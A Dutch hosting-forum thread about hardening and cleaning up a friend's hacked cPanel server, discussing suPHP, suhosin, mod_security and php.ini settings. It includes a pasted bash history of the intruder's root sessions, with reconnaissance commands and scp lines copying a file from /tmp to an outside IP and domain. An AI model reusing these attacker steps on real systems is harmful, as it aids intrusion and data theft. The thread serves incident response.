Afdrukvoorbeeld
De php.ini bestand kun je makkelijk wijzigen zonder dat het problemen gaat leveren met Cpanel. Bij een update van Cpanel word dit ook niet gewijzigd tenzij een major update van php (b.v. 4 naar 5).
Ik raad ook aan om suphp, suhosin, mod_security etc te installeren. Dit kan allemaal naast elkaar draaien zonder problemen.
@PeterT
Wel grappig dat je iets een voorkouwmodus noemt waarvan ik al beschreven heb dat al eens gedaan te hebben.:)
Ik had toen ook al alle rechten goed gezet. Bestanden met apache:apache of in dit geval nobody:nobody bestaan niet, hooguit usernaam:nobody omdat apache als nobody draait op de server van m'n kennis.Citaat:
Oorspronkelijk geplaatst door Blacky
Het beantwoord echter niet mijn vragen omtrent wat de risico's zijn. Het wijzigen van 777 naar 755 als er suPHP gedraait wordt is geen probleem.
Maar de werking van die webshops moet gegarandeerd zijn en dat lukt dus niet als ik php in cgi mode ga draaien en dat is wel weer nodig als je suPHP gaat gebruiken.
Die shops kreeg ik alleen gedeeltelijk weer aan de praat als ik in plaats van .htaccess bestanden met informatie nu php.ini bestanden in de public_html dirs ging plaatsen en dat kan niet de bedoeling zijn.
In elk geval kan ik wel iets met je informatie omtrent de php.ini, waarvoor dank. Die mag je dan wel als voorkouwmodus beschouwen. Maar alles moet ooit geleerd zijn. En leren is leuk, maar niet in een noodsituatie, dan wordt je liever graag even snel geholpen om het euvel op te lossen.;)
@Rachid: Bedankt. Op dit moment is phpsuexec en mod_security aan het draaien.
De beide anderen durf ik niet aan. Zoals gezegd is het mijn server niet en verleden keer veroorzaakte het draaien van php in cgi mode (makkelijk om te zetten) een uitval van de webshops en da's mijn grootste zorg.
Dus ik denk dat ik het voorlopig even zo laat, het is nu in elk geval een stuk beter dan voorheen en dan kan ik op m'n gemak mijn kennis omtrent het gebruik van suhosin, suPHP en andere dingen weer bijspijkeren danwel opvijzelen.
Ik zie in elk geval wel dat Cpanel toch voordelen heeft boven DirectAdmin wat op m'n eigen server draait. Beter en uitgebreider.
cPanel gebruikt een eigen php.in die anders kan zijn dan het php.ini van de overige gebruikers op de server. Bij een update van cPanel wijzigen dus niet je instellingen ineens ook mee.Citaat:
Oorspronkelijk geplaatst door rachid
Ik noem het voorkouwmodus omdat je hier aangeeft "mijn server is gehackt, hoe kan dat?" ipv (zo lijkt het althans) zelf actief uitzoeken hoe het kan, de beveiliging opschroeven googlen/de search op dit functie gebruiken omdat dit soort onderwerpen al vaak langs zijn gekomen. Ja, er zit veel kennis op dit forum maar betekent dat er geen eigen initiatief verwacht kan worden?Citaat:
Oorspronkelijk geplaatst door Blacky
Als er bestanden door apache zijn weggeschreven, zijn deze van nobody:nobody.Citaat:
Oorspronkelijk geplaatst door Blacky
Als alle rechten/ownership goed staan, zal alles netjes blijven werken. Let wel op php_values e.d. in eventuele .htaccess bestanden want mod_php zal uitgeschakelt zijn.
Zie hierboven, mod_php kan php_values / php_admin_flag etc herkennen/verwerken, php als cgi (met bv suphp) niet. Dat is logisch..Citaat:
Oorspronkelijk geplaatst door Blacky
Inderdaad maar het zou je sieren als je bijvoorbeeld eerst googled en als je er dan nog niet uitkomt vraagt ipv eerst roepen en dan nadenken.Citaat:
Oorspronkelijk geplaatst door Blacky
psst.. phpSuExec is ook een manier om PHP als cgi te laten draaien ;)Citaat:
Oorspronkelijk geplaatst door Blacky
Beide kunnen hetzelfde, cPanel heeft alleen meer kant-en-klaar.Citaat:
Oorspronkelijk geplaatst door Blacky
Vergeet overigens niet de compilers te disablen voor users. Kan ook via WHM.
Ja maar dat had ik dus gedaan. Ik wist wel van die beveiliging, maar mijn vraag was dan ook hoe het kon dat ze root rechten hadden gekregen, terwijl ze dat niet konden bruteforcen vanwege de aanwezigheid van denyhosts.Citaat:
Inderdaad maar het zou je sieren als je bijvoorbeeld eerst googled en als je er dan nog niet uitkomt vraagt ipv eerst roepen en dan nadenken.
Daarop kreeg ik een antwoord hoe het te beveiligen, dat is wel mooi maar dat was de vraag niet. Ik weet het nog steeds niet maar vermoedelijk via een malicious script op een van de sites anders kan ik het me ook niet bedenken.
In een noodsituatie roep ik nogal graag, dat klopt en ga tegelijkertijd zoeken, des te meer kans op een snelle oplossing omdat je een antwoord kunt krijgen uit zowel je zoektocht alsook iemand die het leest en er op antwoord.
Al is het maar zover dat je tijdelijk beschermd bent om dan wat meer tijd te hebben zelf verdere oplossingen te zoeken.
Normaliter probeer ik echt wel eerst te zoeken en te kijken hoe ver ik kom.
De meesten die ik zie zijn van user:nobody, de via php/apache geuploade attachments ook, maar grappig genoeg de door apache gemaakte thumbnails zijn wel nobody:nobody.Citaat:
Als er bestanden door apache zijn weggeschreven, zijn deze van nobody:nobody.
Maar oke, het was al duidelijk dat dit van apache was.
Exact, zet ik php in cgi mode krijg ik een server error bij de webshops. Oscommerce gaat dan bijv. heel vervelend doen. En dat heeft dan puur met die php_values in de htaccess te maken. Maarja ga eens al je users leren dat ze het nu met een php.ini doen moeten. Ik denk dat mijn kennis daar geen zin in heeft. En ik help hem alleen maar wat uit de brand als vriendendienst. Alleen leer ik er zelf ook altijd weer van bij en dat is dan mooi meegenomen.Citaat:
Zie hierboven, mod_php kan php_values / php_admin_flag etc herkennen/verwerken, php als cgi (met bv suphp) niet. Dat is logisch..
Als ik die server in het begin voor mezelf had moeten inregelen had er phpsuxec, suhosin, suphp en de hele rataplan op gestaan.:)
Er draait nu de gewone suExec er staat Apache suExec en da's toch weer anders zag ik al.Citaat:
phpSuExec is ook een manier om PHP als cgi
Kan phpSuexec wel moet php_values en php_admin_flag overweg of ook niet? Want het zou toch het mooist zijn als die .htaccess en die values gebruikt konden blijven.
Cpanel heeft inderdaad meer kant er klaar, maar ook updates, easyapache (heeft da ook niet), is toch wel handig.
Ook niet bugvrij want nu werkten de webshops in IE ook niet omdat de base-href leeg was. Even omzetten naar cgi mode en daarna weer terug naar dso mode en hups de zaak liep weer.
Compilers waren ook al uitgezet maar toch bedankt voor de tip.
Waar ik wel nog mee zit is een hoge load op mysql en zo te zien heeft dat te maken met --skip-external-locking. Daar heb ik half google voor opgezocht, maar naar ik lees is het verstandig om dat aan te hebben, doch voor de hoge load zie ik een x-tal posts, maar geen oplossing.
Bij deze alsnog bedankt voor de hulp en de uitleg. Ik begrijp dat er even een misverstand was over de bedoeling en niet duidelijk was wat ik wel en niet wist en/of al gedaan/opgezocht had.
Been there, done that. Kost even wat extra tijd maar daarna ben je er blij om.Citaat:
Oorspronkelijk geplaatst door Blacky
Dat is een andere verhaal ja en nee, phpSuExec kan er ook niet mee om gaan, alleen mod_php.Citaat:
Oorspronkelijk geplaatst door Blacky
DA heeft het custombuild script, bijna hetzelfde als easyapache. Kijk maar eens in je /usr/local/directadmin/custombuild (er vanuitgaande dat je met een RHEL installatie werkt).Citaat:
Oorspronkelijk geplaatst door Blacky
Zet de logging aan zodat lange queries gelogged worden of gebruik iets als mytop om het uit te zoeken.Citaat:
Oorspronkelijk geplaatst door Blacky
Ik wel maar mijn kennis niet en het is zijn server, ik ga daar niet ook nog eens de gebruikerssupport van doen, mag ie fijn zelf doen.:)Citaat:
Been there, done that. Kost even wat extra tijd maar daarna ben je er blij om.
Nogmaals iedereen dank voor de hulp.
Ook jij nog bedankt PeterT voor de tips!
Ik ga me toch even er tegen aan bemoeien:
Waren de bestanden nu root of niet? Zo ja: formatteren...Citaat:
-rw-r--r-- 1 root root 37319 Jan 12 16:45 194.105.29.254
-rw-r--r-- 1 root root 37319 Jan 12 16:45 toderu.ro
Yep, het staat er duidelijk, de bestanden waren inderdaad rood.:)
En via de security log heb ik gezien dat de login via SSH gebeurd is.
Formatteren, ja lijkt mij ook de betere oplossing, maar het is mijn server niet.
En vermoedelijk is ie bang geweest want ik zat ook ingelogd de 12e toen ie bezig was. Want in de bash history zag ik dat ie steeds op w drukte om te zien of ik nog online was. Zo gek veel heeft ie niet gedaan, tenzij hij daar delen uit gehaald heeft, maar dat zie je dan ook nog wel.
Dus tja, ik heb mijn kennis ook gezegd dat hij het beste geformatteerd kan worden maar daar wil ie niet aan, het is een machine met de nodige shared accounts.
Aangezien er te weinig bruteforces waren vermoed ik dat ze op andere wijze aan het wachtwoord zijn gekomen, spyware, bot of iets anders op een andere pc waar het wachtwoord bewaard werd ofzoiets wellicht.
Citaat:
-rw-r--r-- 1 root root 37319 Jan 12 16:45 194.105.29.254
-rw-r--r-- 1 root root 37319 Jan 12 16:45 toderu.ro
Waren de bestanden nu root of niet? Zo ja: formatteren...
Niet ROOD, maar ROOTCitaat:
Oorspronkelijk geplaatst door Blacky
Ja sorry, iedereen kan een typo maken.:D
Echt niet. Als de history niet gewist is dan kun je voor 99% achterhalen wat er gedaan is en ik kan je garanderen dat voor 99% van de gevallen de inbreker helemaal niet geinteresseerd is in de rest van het systeem. Ze willen juist een systeem dat verder als een zonnetje draait, anders worden ze snel ontdekt en/of hebben ze niets aan de machine.Citaat:
Oorspronkelijk geplaatst door DiedX
Overigens heb ik ook wel eens meegemaakt dat ze een password sniffen als je het voor FTP gebruikt. Daarom moet je altijd minstens FTP/TLS gebruiken of SFTP natuurlijk. Dat sniffen doen ze bijvoorbeeld vanaf een gehakte machine op hetzelfde netwerk, dat geen vlans gebruikt.
Niet meegemaakt, maar wel van gehoord. Op die server is echter NOOIT het root password gebruikt om via ftp in te loggen. De mogelijkheid daartoe staat als het goed is zelfs disabled.Citaat:
dat ze een password sniffen als je het voor FTP gebruikt.
Voor de geinteresseerden, er is 2x ingelogt volgens de history en dit zijn beide acties geweest:
Actie 2:Code:w
lsof
mount -v
ls -la /tmp/
lsattr /bin/
lsattr /sbin/
lsattr /usr/sbin/
lsattr /usr/bin/
last
last | grep root
history
w
w
ls -la
cat .lesshst
w
dmesg
tail - 400 /var/log/messages
tail - 400 /var/log/messages.1
w
cat /etc/syslog.conf
ifconfig
netstat -tulnp
netstat -antup
fuser -uvn tcp 55606
ls -l /proc/3926c
cd /home/dexxxxx/public_html/
ls -la
ls -laR | grep -v dexxxx
cd ./pics/daqog/ex3/
cat t.htm
cd ../../../
grep -Ri irc *
grep -ri irc *
grep -r -i irc *
grep -R -i irc *
ls -la
ls -lat
netstat -antup | grep 666
ps auxf | grep 3926
lsof 3926
lsof -p 3926
ls -la /proc/25811
ls -la /dev/zero
rkhunter -c
w
ps auxf
cat /usr/local/apache/domlogs/dexxxxxxx.nl
yum check-update
logout
De accountnaam heb ik aangepast naar dexxxx net als de domeinnaam.Code:hostname
ps auxf | more
netstat -antup | grep irc
netstat -antup | grep 66
lsattr /bin/ | more
lsattr /usr/sbin/
w
w
last | more
ls -al
grep -R "safe1.txt" /usr/local/apache/logs/
grep -R "safe1.txt" /usr/local/apache/domlogs/
grep -R "safe1.txt" /usr/local/apache/domlogs/*
ifconfig
ls /tmp/
more /tmp/13.jpg
scp -P 45226 /tmp/13.jpg toderu.ro
scp -P 45226 /tmp/13.jpg toderu.ro
scp -P 45226 /tmp/13.jpg 194.105.29.254
scp
scp -P 45226 /tmp/13.jpg 194.105.29.254:
scp -P 45226 /tmp/13.jpg toderu@194.105.29.254:
rm /tmp/13.jpg
ls -la /tmp/
Succes. En die 1e % vertrouw ik niet. Laten we het zo stellen: *IK* zou formatteren, en er zijn genoeg discussies geweest op het forum om dat te doen.Citaat:
Oorspronkelijk geplaatst door t.bloo
Ik vind dat een Windows-gebruiker opmerking. Als je er even niet uit komt, dan formatteer je de zaak gewoon...
Toegegeven, je systeem herinstalleren heeft zeker voordelen. Het is een afweging die je alleen zelf kunt maken.